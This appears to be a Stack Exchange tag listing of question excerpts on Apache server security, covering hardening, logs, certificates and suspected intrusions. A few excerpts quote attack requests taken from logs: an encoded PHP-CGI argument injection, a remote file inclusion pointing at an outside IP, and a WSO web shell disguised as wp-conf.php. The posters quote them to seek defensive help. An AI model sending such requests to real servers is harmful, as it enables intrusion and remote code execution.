Questions about the security of Apache open source software, especially Apache HTTP Server

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1answer
163 views

How to Minimize Apache Loadable Modules (serving MediaWiki)

According to Guide to the Secure Configuration of Red Hat Enterprise Linux 6, there is this policy: "In certain scenarios, it is beneficial to remove certain httpd modules to limit the functionality ...
0
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1answer
70 views

Security implications of putting virtual hosts source code in /var/www/[domain]

A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS) I see that it's possible to reach the virtual hosts ...
2
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2answers
783 views

Does reverse proxy between two web servers impact security of both?

Situation: Consider the site: example.com, hosted at web server A. A WordPress blog is to be installed on a different web server, B. In order to route a WordPress installation to a subdirectory on ...
1
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0answers
50 views

How to manage security for multiple PC and VM?

I have a firewall VM which creates I have used to setup subnet for different purposes. For example: (fake ips, of course) 1.1.2.1/24 DMZ 1.1.3.1/24 Internal 1.1.5.1/24 security/logging I use ...
0
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4answers
527 views

Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
2
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0answers
173 views

Verizon wireless router is pinging my web server - is this ok or bad? [closed]

So I'm working from a local cafe, doing some web development, and need to see something in my Apache's access log. And to my surprise, in the log I see, every 30 seconds or so, a request for my root ...
2
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1answer
1k views

Is htaccess secure enought to whitelist clients IPs?

I'm using .htaccess to control source IP of connections to my web application. My configuration looks more or less like this: order deny,allow deny from all allow from X.Y.Z.Q These ...
6
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1answer
1k views

Why these 2 regexp won't work as expected in ModSecurity?

PROBLEMRULE #1; SecRule REQUEST_URI "^/(|(.*)/)(lpt1|lpt2|lpt3|lpt4)(/|\.|\?|$)" "t:none,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,block,msg:'X',id:'1000'" PROBLEMRULE #2; SecRule REQUEST_URI "...
1
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1answer
309 views

Separating Apache and MySQL over Tor for security, performance, and reliability

I'm trying to set up a hidden web service over the Tor network, and I was thinking of making a configuration where my Apache server and my database server are located on different networks. I know ...
1
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2answers
755 views

False positive Apache version in scanner results on Centos

Recently I need to care a lot of false positive vulnerabilities in scanner results on Apache version. Example of false positive vulnerability: Apache 2.2 < 2.2.16 Multiple Vulnerabilities Our ...
4
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2answers
358 views

If Apache is configured to parse PHP can users see PHP source code?

If Apache is configured to parse PHP and not allow to index files, are there other ways users can see PHP source code, either with or without intention?
8
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1answer
273 views

Why Apache runs as unprivileged user?

Apache Web server as a security measure relinquishes its system privileges and runs as a normal unprivileged user before accepting clients over a networks. My Question is How this measure prevents ...
0
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1answer
368 views

How does a website get pass my server firewall and attempt to hotlink to my server resources?

I was stumped when I saw the following lines on my Apache server error log this morning: [authz_core:error] [client ::1:37317] AH01630: client denied by server configuration: /var/www/styles/...
10
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2answers
15k views

Protect against POST //cgi-bin/php attacks?

I am being attacked with this cgi injection: POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%...
3
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1answer
346 views

What kind of requests are those?

I receive a lot of requests like this: ip-10-80-XXX-XXX.eu-west-1.compute.internal:80 110.249.208.XXX - - [11/Dec/2013:10:27:17 +0000] "GET http://mn.sina.com.cn/news/xianchang/2012-06-07/212535....
1
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1answer
414 views

Installed new Wildcard certificates on my server, but still appear as expired on browser [closed]

I have bought new WILDCARD certificates (*.mydomain.com) for my servers. I was able to install successfully on one server. So, I know the files are correct and I was able to verify their validity. ...
4
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1answer
266 views

Are we under hacker control?

We have a Web Server that mount Centos. Onto that WS there is an Apache (version 2.2.3) and some sites. You can log on only if you have a certificate (for root user) or via ftp (a restricted ...
1
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1answer
145 views

How secure is the web-based file browser that comes with my NAS?

I have a Buffalo Linkstation Pro 2 Duo for home use. It has a web GUI for browsing the contents of the NAS (distinct from the admin interface). The idea is that you would expose the web GUI to the ...
0
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1answer
260 views

Lots of bot hits, referer seems to be the variable

I've recently (over the last 15 minutes) had quite a few hits from the same IP, it's in a country on our blacklist so they just up up on our "Access Denied" page, but I was just interested in what ...
1
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1answer
13k views

Speaking Plain HTTP over an SSL enabled Server port [closed]

atm I'm facing a problem with IE and Firefox because they don't redirect my Links correctly. I'm requesting my application via: https://myapp.example.de/context In my webapplication I have links ...
24
votes
8answers
19k views

Can I detect web app attacks by viewing my Apache log file? [closed]

I occasionally get clients requesting I look at their access_log file to determine if any web attacks were successful. What tools are helpful to discern attacks?
1
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1answer
2k views

“Must have” and “Preferred Cipher” suites terminology

I have received the following advise to set cipher suites to suitably mitigate Beast attack on a newly setup Apache HTTPD server. Preferred ciphers: RC4-SHA, RC4-MD5 Must Have Ciphers: ...
0
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2answers
134 views

Force https, complex implementation

I have a website running on a dedicated server (single IP) on apache. Multiple domains are pointed to the website . For ex: sub.abc.com, sub.bcdaf.com I have now purchased a single SSL certificate ...
1
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1answer
462 views

Edit virtual host file using php [closed]

I have a php application and somethings related to the application need changes to vhost.conf file. Presently i'm making the changes manually. But i would like to automate it using a php script. Is ...
0
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1answer
256 views

Abusing write permission on Apache logs dir to escalete privileges

I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
14
votes
2answers
3k views

Security implications of having files owned by the apache user?

Currently running a LAMP instance that developers are using for a variety of webapps. I have the following scenario: Multiple developers need access to create and modify files under /var/www/...
8
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1answer
9k views

How to secure a ActiveMQ?

Does anybody have experience with securing/hardening ActiveMQ? Check lists or guides would be welcome.
0
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3answers
1k views

How to find vulnerable sites on a web server

A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. ...
-1
votes
1answer
5k views

Incorrect file permissions for LAMP [closed]

I have installed Apache 2.4.6 on my server and have the following virtual host config: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName foobar1.com DocumentRoot /home/...
5
votes
2answers
4k views

url from another domain in my access log

Most of the time when I am looking for 404 errors in my access.log, I see attempts to access something like /phpMyAdmin/scripts/setup.php. This does not bother me so much, but few days ago I was ...
0
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2answers
239 views

My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
1
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1answer
2k views

WSO 2.5 Found on Apache

I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire ...
3
votes
3answers
2k views

Strange GET requests to my Apache Web Server?

A few days ago, my Apache web server was hit with get requests, many of which had strange escape sequences. Can someone read the following sample log entries and explain what the person tried to do, ...
0
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3answers
2k views

Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
1
vote
1answer
539 views

What are the consequences of turning on Apache AllowEncodedSlashes?

What are the consequences of turning on Apache AllowEncodedSlashes? I want to turn it on and I want to know if this any worse than any of the other kinds of injection attacks that may occur in web ...
-1
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2answers
179 views

My VPS has been shut down now again for the second time for TOS violations, and I really need some help. [closed]

My VPS has been shut down now again for the second time for TOS violations (email spam), and I really need some help. I have been battling with my server being attacked for over a year now. Most of my ...
7
votes
4answers
2k views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
-3
votes
1answer
1k views

Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
6
votes
1answer
850 views

Is enabling PHP script execution on HTML document file extensions a security concern?

I am working on a very old and messy site, which doesn't have a CMS, or a database. However, it has a lot of .htm and .php files. I need to add some PHP code to some of the .htm files, but want to ...
1
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2answers
1k views

Is apache mod_spamhaus still being maintained?

I only found this: http://sourceforge.net/projects/mod-spamhaus/files/?source=navbar and that is from 2008 Is there any newer apache mod that is up-to-date? Someone has experience with it? Maybe ...
5
votes
1answer
2k views

Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA

I would like to ask if it is possible to use different CA for the client certificate and the web certificate? For example, I would use Verisign to sign my web certificate while I use my Self Sign ...
37
votes
9answers
2k views

Use additional “password” in Referer to hide private site?

I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain). I don't want anyone to know that there is anything at example.com, ...
4
votes
3answers
553 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
8
votes
1answer
2k views

Experience with a recent DDoS attack on Apache

I originally posted a question here since I was not familiar with an actual distributed denial of service attack (DDoS) on my server. I noticed that my server is very slow in responding to HTTP ...
3
votes
2answers
465 views

Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
18
votes
2answers
1k views

PHP attack string in access logs

So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I ...
3
votes
3answers
2k views

HTTPS Apache2 Information Leakage

Hello IT Security! I have Apache2 vhost with HTTPS listening on port 443, ie. https:// securesecret.com. I have another vhosts with HTTP listening on port 80, ie. http:// one.com, http:// two.com. ...
0
votes
2answers
517 views

How to protect files (cron files) frome being executed by everyone?

I wonder what read / write permissions should I set on my cron files (php files) so they can be executed only by our server. We're using CentOS 5.9 - 64bit and cPanel / WHM + Apache. Thanks!
13
votes
5answers
3k views

Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
4
votes
2answers
177 views

Security implications of storing email attachments on Centos Server

There is an application I am working on which requires processing the incoming mails to cs@company.com. The company.com mail accounts are being run via Google Apps for Business. So I fetch the ...